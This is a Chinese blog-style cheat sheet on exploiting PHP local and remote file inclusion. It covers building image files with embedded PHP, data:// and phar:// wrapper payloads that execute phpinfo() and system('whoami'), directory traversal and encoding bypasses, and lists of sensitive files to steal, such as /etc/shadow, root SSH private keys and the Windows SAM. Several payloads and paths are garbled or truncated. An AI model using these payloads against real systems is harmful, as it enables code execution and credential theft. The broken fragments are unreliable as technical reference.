本文共 2068 字,大约阅读时间需要 6 分钟。
参考文献:
制作图种:
copy 1.png/b+1.php/a 2.png
/b:以二进制打开。用于图像类/声音类文件
/a:以ascii打开。用于txt文档类文件php中引发文件包含漏洞的函数:
①.include() ②.include_once() ③.require() ④.require_once()LFI(Local File Inclusion):
用include()的时候,出错的话,只会提出警告,会继续执行下面语句。用require()的时候,出错的话,会提出警告,不会继续执下面语句。
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。(1.txt为同目录下的一个文件,内容<? php info(); ?>)
RFI(Remote File Inclusion)
远程文件包含漏洞,是指能够包含远程服务器上的文件并执行,远程服务器的文件是我们可控的。 在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。:allow_url_include = On,对allow_url_fopen不做要求。
phar://:php版本大于等于php5.3.0(相对路径或绝对路径都可以)
/1.php?filename= #1.zip为1.txt的压缩文件,1.txt内容不变 /1.php?filename=:版本大于等于php5.3.0,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件,适用于验证包含文件为特定后缀时。
/1.php?filename=data:URI schema:php版本大于等于php5.2,allow_url_fopen = On,allow_url_include = On
/1.php?filename=data:text/plain,%3C?php%20phpinfo();?%3E /1.php?filename=data:text/plain,%3C?php%20system(%22whoami%22);?%3E /1.php?filename=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b #加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>,可以将需要的内容base64加密,然后用这个命令执行。apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf或者/etc/init.d/httpd还可以使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑
敏感文件:
1、Windows: C:boot.ini //查看系统版本 C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件 C:Windowsrepairsam //存储系统初次安装的密码 C:Program Filesmysqlmy.ini //Mysql配置 C:Program Filesmysqldatamysqluser.MYD //Mysql root C:Windowsphp.ini //php配置信息 C:Windowsmy.ini //Mysql配置信息2、Linux:
/root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /porc/config.gz转载地址:http://nkmol.baihongyu.com/